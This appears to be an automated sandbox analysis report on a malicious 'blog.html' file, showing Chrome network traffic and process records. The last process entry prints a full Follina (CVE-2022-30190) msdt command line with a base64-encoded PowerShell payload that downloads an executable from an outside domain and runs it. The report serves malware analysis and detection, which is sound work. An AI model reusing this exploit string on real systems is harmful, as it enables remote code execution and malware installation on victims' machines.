                                                                    Data Ascii: kkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app><app
                                                                    2022-06-29 07:21:23 UTC2INData Raw: 30 0d 0a 0d 0a
                                                                    Data Ascii: 0


                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                    1192.168.2.449754142.250.185.109443C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    TimestampkBytes transferredDirectionData
                                                                    2022-06-29 07:21:23 UTC0OUTPOST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1
                                                                    Host: accounts.google.com
                                                                    Connection: keep-alive
                                                                    Content-Length: 1
                                                                    Origin: https://www.google.com
                                                                    Content-Type: application/x-www-form-urlencoded
                                                                    Sec-Fetch-Site: none
                                                                    Sec-Fetch-Mode: no-cors
                                                                    Sec-Fetch-Dest: empty
                                                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
                                                                    Accept-Encoding: gzip, deflate, br
                                                                    Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
                                                                    2022-06-29 07:21:23 UTC1OUTData Raw: 20
                                                                    Data Ascii:
                                                                    2022-06-29 07:21:23 UTC2INHTTP/1.1 200 OK
                                                                    Content-Type: application/json; charset=utf-8
                                                                    Access-Control-Allow-Origin: https://www.google.com
                                                                    Access-Control-Allow-Credentials: true
                                                                    X-Content-Type-Options: nosniff
                                                                    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                    Pragma: no-cache
                                                                    Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                    Date: Wed, 29 Jun 2022 07:21:23 GMT
                                                                    Strict-Transport-Security: max-age=31536000; includeSubDomains
                                                                    Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-platform=*, ch-ua-platform-version=*
                                                                    Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
                                                                    Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport
                                                                    Content-Security-Policy: script-src 'report-sample' 'nonce-yBQHv647RwxpdTdyBvvlaQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self'
                                                                    Content-Security-Policy: script-src 'nonce-yBQHv647RwxpdTdyBvvlaQ' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport
                                                                    Cross-Origin-Opener-Policy: same-origin
                                                                    Server: ESF
                                                                    X-XSS-Protection: 0
                                                                    Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                    Accept-Ranges: none
                                                                    Vary: Accept-Encoding
                                                                    Connection: close
                                                                    Transfer-Encoding: chunked
                                                                    2022-06-29 07:21:23 UTC4INData Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a
                                                                    Data Ascii: 11["gaia.l.a.r",[]]
                                                                    2022-06-29 07:21:23 UTC4INData Raw: 30 0d 0a 0d 0a
                                                                    Data Ascii: 0


                                                                    Click to jump to process

                                                                    Target ID:0
                                                                    Start time:09:21:18
                                                                    Start date:29/06/2022
                                                                    Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\blog.html
                                                                    Imagebase:0x7ff7964c0000
                                                                    File size:2150896 bytes
                                                                    MD5 hash:C139654B5C1438A95B321BB01AD63EF6
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Reputation:high

                                                                    Target ID:1
                                                                    Start time:09:21:20
                                                                    Start date:29/06/2022
                                                                    Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1528,2458455930681396657,16758854869973346526,131072 --lang=en-GB --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1948 /prefetch:8
                                                                    Imagebase:0x7ff7964c0000
                                                                    File size:2150896 bytes
                                                                    MD5 hash:C139654B5C1438A95B321BB01AD63EF6
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Reputation:high

                                                                    Target ID:14
                                                                    Start time:09:21:47
                                                                    Start date:29/06/2022
                                                                    Path:C:\Windows\System32\msdt.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_LaunchMethod=ContextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'aXdyIGh0dHBzOi8vY29uc3VtZXJmaW5hbmNlZ3VpZGUuY29tL2Jsb2cvaW5kZXgvZ3B1cGRhdGUuZXhlIC1PdXRGaWxlIEM6XFdpbmRvd3NcVGFza3NcZ3B1cGRhdGUuZXhlOyBDOlxXaW5kb3dzXFRhc2tzXGdwdXBkYXRlLmV4ZQo='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe%22
                                                                    Imagebase:0x7ff609f20000
                                                                    File size:1560576 bytes
                                                                    MD5 hash:8BE43BAF1F37DA5AB31A53CA1C07EE0C
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: 0000000E.00000002.672988587.00000215ED760000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: 0000000E.00000002.673016389.00000215ED769000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: 0000000E.00000002.673521929.00000215ED874000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    Reputation:moderate

                                                                    No disassembly